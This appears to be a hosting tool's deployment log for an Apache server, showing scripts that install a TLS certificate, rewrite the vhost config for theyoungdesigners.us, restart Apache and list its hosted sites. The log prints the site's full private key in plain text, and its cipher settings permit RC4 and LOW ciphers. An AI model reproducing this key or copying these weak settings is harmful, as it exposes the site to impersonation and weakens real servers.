karOLXIxD67OXXBBLSVMx9QAAAGa3aYFpAAABAMARjBEAiAhrI/nEOMtGuDiSbR5
ajZVD7eqVvlQGrogwpBLbFba8gIgbf+an+4+dPcP6u/c/cmnjGlhnQ4POKb8gMDf
A3JaehAAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZrdpgXx
AAAEAwBHMEUCIQD1HopEyQEa6dXPJM+X1IqpHnQCNIO6skPnH3lG2M7ajAIgRl0R
I8oXR8ETGISC3vX4mo6mp7kDqD1xv/jCoHmLpnkwDQYJKoZIhvcNAQELBQADggEB
ADYvD7Z5zh+g6ZmzNxu1uON7ihA1iGPBChtXWYlP7JhTo5Wdig3kDcrpFq/sxE9B
OaSLj7IwO/xdwgLzUa88wimQCxHXayp2srfbt7wumn3H7DL5YQWpL1im5ENoU/hD
lWn5XZZG/m+yArJlOclMeUBLj+9hV3BaBOWH1CSewXeTv89wAL1NIHNWg++Godr5
8OAZ+IOd5Ww5si2QoMg3KVwNoyBovI64ViU1rgWPVhgV+fThAPEsGbs421UzqqM7
crI5rdpHxOMUacbO473ckfkTWyOSHCOMoPUBMnzP6vsLGFsSSkMhd+TWk+jfvMmY
4jfY76DuOpqCqAAd7B+xgm0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDxj1GJefBukAhw
hor5NKRGA6oXJpfTvF+JCAjwI3S/tPpEXKysTa+/NodzavsBzL2gp5uh5h8/48Xt
FWknYVFeovzua8S0Uc7DKMKiJ9X/rvhfXe1rnSiVyrNjnTm9BJocAJ43BAU07Uys
MoebHj1uD11p3RryJOqFkZsxHu9p9RQXvT9BvPQ4+aW/OY5hANgAwUBehLJHOjOk
w+z8lFBAz3UJQF1I4eclgHBXTeQHUUpfPh+fhGnYWSPdtq9w9bQfUxnxX7mnTXzK
oBkPnx6oh6925iWNAbO2UI2MjRhtO9jqBDlMgMzCs8tTIpU/IhduAyD0l9qCB49P
VmIlEyLVAgMBAAECggEAe1yi2l+QvxYFiVncjUop/quOaMZH0VUpQPT+g4zH6cOF
7/WYJWKDN1aks/fVemTSDsKqA3NfUCSFhv9hNUBI6ti37RbSXPhObHJbe652Zl43
75QrVMLs4BqlpGC+BN7dySEzq4r9EbuCZYpkoH5ABv4HybGmOjVKI65poBtZTzVg
6sQ6u/JFZ+U8JiVphxk+smvO0oZ7SGd7Y5riRTybnsGx6r6VrruZsJZLrKNN3T1T
9RLc8+s6sUp4zTRxIlpsWLffEfW9Yaty1CiUZlbnaHImBjugxWM8hCZ5dWm0aYUH
bZEABwzg8hb7p2gnQHFt3re1TbJldWMfiVa7jnWkYQKBgQD7yVy4cEZM0TJ4IcwU
/vLSZddu0y8JXbq3I/+9LuiceQ9/PD+/5MvNuGZVgAl1x2YXQhGPFG0ZBPckkAW+
fiAG968BKZkYgM55kChfdrfEhluqLoklRNI6vqCTqI6Ct04PcXIxo8hkEj4t/VMT
k3TKk1j5zpVWJgN9JUHGANvvKQKBgQD1miVIRaZXiNy1m+LLhTP8G5gUsuRpgPxT
OqG8t7Q/RRjbmZ0L1J85moF6MTPvlItbmp/i7F41Wsoa9toJNly+DsnE44zmnzY+
v0t41b2ReGqVtKicMkdt9TWRDlpH4bcbCqck1tAqlp9BymF84LthH166Lfl/cV/v
OIb0I+aHzQKBgQDWhCx3B1EdyW4SY9kYWk5Pa20sgsikVjLqLcWJTRnplkrZwF8g
ArKQxvaJCdkFe6lDT4reOCzrEAvwHrSGI7btuMBlYSeKdNN1RpjfHKpcyYv3ZkZ6
djQW0KrGoukn/TyIc8My/7OPbuuDCz1ohE0Q+pDn5FXfW+vFB6UOKVU4YQKBgBMg
niayxfGrRwUdztvq09GelImIJSHSWdRhjJcV94O17emsXP6+4GesEMlja5gNCY1o
zWru3adqGrNe5jwxb6ednzkmP6L2Y1MfstEGVG0v450lJLyFbeqyXimd5IoUmh4R
BlNoJ24prN2C1XTUS8OUndwCGJxESCRpUplQ8nNBAoGBANrRjSpn+BOWnTToky+8
CWYezSd7Oc0VBnLXVpmGrcKi7usnaAzWVMF5yfhUhQ3JyF3Bvep18M6LMa9vjbwy
fZTY3D3EjQe6+55IoTcDgaRV7AYvSxrhoji56kzWUKfgQIDO2+MKvss925L3kKWl
aoSzK4WQccF5EVEmzf6sPRoF
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-02 06:00:37: 

chmod 755 /tmp/pkp442293; /tmp/pkp442293; rm /tmp/pkp442293

2025-12-02 06:00:37: 


dir=/etc/ssl/certs


2025-12-02 06:00:37: 

PUT: /tmp/pkp767495

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-02 06:00:37: 

chmod 755 /tmp/pkp767495; /tmp/pkp767495; rm /tmp/pkp767495

2025-12-02 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 48

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-02 06:00:37: 

PUT: /tmp/pkp117742

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_us.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf= 1'
fi


2025-12-02 06:00:37: 

chmod 755 /tmp/pkp117742; /tmp/pkp117742; rm /tmp/pkp117742

2025-12-02 06:00:37: 




2025-12-02 06:00:37: 

PUT: /tmp/pkp629360

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-02 06:00:37: 

chmod 755 /tmp/pkp629360; /tmp/pkp629360; rm /tmp/pkp629360

2025-12-02 06:00:37: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-02 06:00:37: Establishing a connection
2025-12-02 06:00:37: 

PUT: /tmp/pkp202426

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-02 06:00:37: 

chmod 755 /tmp/pkp202426; /tmp/pkp202426; rm /tmp/pkp202426

2025-12-02 06:00:37: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-02 06:00:37: 

PUT: /tmp/pkp208647

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-02 06:00:37: 

chmod 755 /tmp/pkp208647; /tmp/pkp208647; rm /tmp/pkp208647

2025-12-02 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf	1781

<VirtualHost *:80>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.us
    ServerAlias	www.theyoungdesigners.us
    #    ServerAlias	theyoungdesigners.com www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
    DocumentRoot	/var/www/theyoungdesigners_www
    <Directory /var/www/theyoungdesigners_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-02 06:00:37: 

PUT: /tmp/pkp352415

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-02 06:00:37: 

chmod 755 /tmp/pkp352415; /tmp/pkp352415; rm /tmp/pkp352415

2025-12-02 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt	5397
65:7e:b4:03:ab:9c:11:d5:f4:6b:c1:bd:a4:e8:7b:3f

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBaH/bdjaOMLLfiYJDGcr5HyRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAyMDUwMjA2WhcNMjYwMzAyMDUwMjA1WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAPGPUYl58G6QCHCGivk0pEYDqhcml9O8X4kICPAjdL+0+kRcrKxNr782
h3Nq+wHMvaCnm6HmHz/jxe0VaSdhUV6i/O5rxLRRzsMowqIn1f+u+F9d7WudKJXK
s2OdOb0EmhwAnjcEBTTtTKwyh5sePW4PXWndGvIk6oWRmzEe72n1FBe9P0G89Dj5
pb85jmEA2ADBQF6Eskc6M6TD7PyUUEDPdQlAXUjh5yWAcFdN5AdRSl8+H5+EadhZ
I922r3D1tB9TGfFfuadNfMqgGQ+fHqiHr3bmJY0Bs7ZQjYyNGG072OoEOUyAzMKz
y1MilT8iF24DIPSX2oIHj09WYiUTItUCAwEAAaOCAj0wggI5MA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUXvJ3STjIYCZG6IpZPAtrWhkAT4gwHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MTguY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGa3aYFpAAABAMARjBEAiAhrI/nEOMtGuDiSbR5
ajZVD7eqVvlQGrogwpBLbFba8gIgbf+an+4+dPcP6u/c/cmnjGlhnQ4POKb8gMDf
A3JaehAAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZrdpgXx
AAAEAwBHMEUCIQD1HopEyQEa6dXPJM+X1IqpHnQCNIO6skPnH3lG2M7ajAIgRl0R
I8oXR8ETGISC3vX4mo6mp7kDqD1xv/jCoHmLpnkwDQYJKoZIhvcNAQELBQADggEB
ADYvD7Z5zh+g6ZmzNxu1uON7ihA1iGPBChtXWYlP7JhTo5Wdig3kDcrpFq/sxE9B
OaSLj7IwO/xdwgLzUa88wimQCxHXayp2srfbt7wumn3H7DL5YQWpL1im5ENoU/hD
lWn5XZZG/m+yArJlOclMeUBLj+9hV3BaBOWH1CSewXeTv89wAL1NIHNWg++Godr5
8OAZ+IOd5Ww5si2QoMg3KVwNoyBovI64ViU1rgWPVhgV+fThAPEsGbs421UzqqM7
crI5rdpHxOMUacbO473ckfkTWyOSHCOMoPUBMnzP6vsLGFsSSkMhd+TWk+jfvMmY
4jfY76DuOpqCqAAd7B+xgm0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDxj1GJefBukAhw
hor5NKRGA6oXJpfTvF+JCAjwI3S/tPpEXKysTa+/NodzavsBzL2gp5uh5h8/48Xt
FWknYVFeovzua8S0Uc7DKMKiJ9X/rvhfXe1rnSiVyrNjnTm9BJocAJ43BAU07Uys
MoebHj1uD11p3RryJOqFkZsxHu9p9RQXvT9BvPQ4+aW/OY5hANgAwUBehLJHOjOk
w+z8lFBAz3UJQF1I4eclgHBXTeQHUUpfPh+fhGnYWSPdtq9w9bQfUxnxX7mnTXzK
oBkPnx6oh6925iWNAbO2UI2MjRhtO9jqBDlMgMzCs8tTIpU/IhduAyD0l9qCB49P
VmIlEyLVAgMBAAECggEAe1yi2l+QvxYFiVncjUop/quOaMZH0VUpQPT+g4zH6cOF
7/WYJWKDN1aks/fVemTSDsKqA3NfUCSFhv9hNUBI6ti37RbSXPhObHJbe652Zl43
75QrVMLs4BqlpGC+BN7dySEzq4r9EbuCZYpkoH5ABv4HybGmOjVKI65poBtZTzVg
6sQ6u/JFZ+U8JiVphxk+smvO0oZ7SGd7Y5riRTybnsGx6r6VrruZsJZLrKNN3T1T
9RLc8+s6sUp4zTRxIlpsWLffEfW9Yaty1CiUZlbnaHImBjugxWM8hCZ5dWm0aYUH
bZEABwzg8hb7p2gnQHFt3re1TbJldWMfiVa7jnWkYQKBgQD7yVy4cEZM0TJ4IcwU
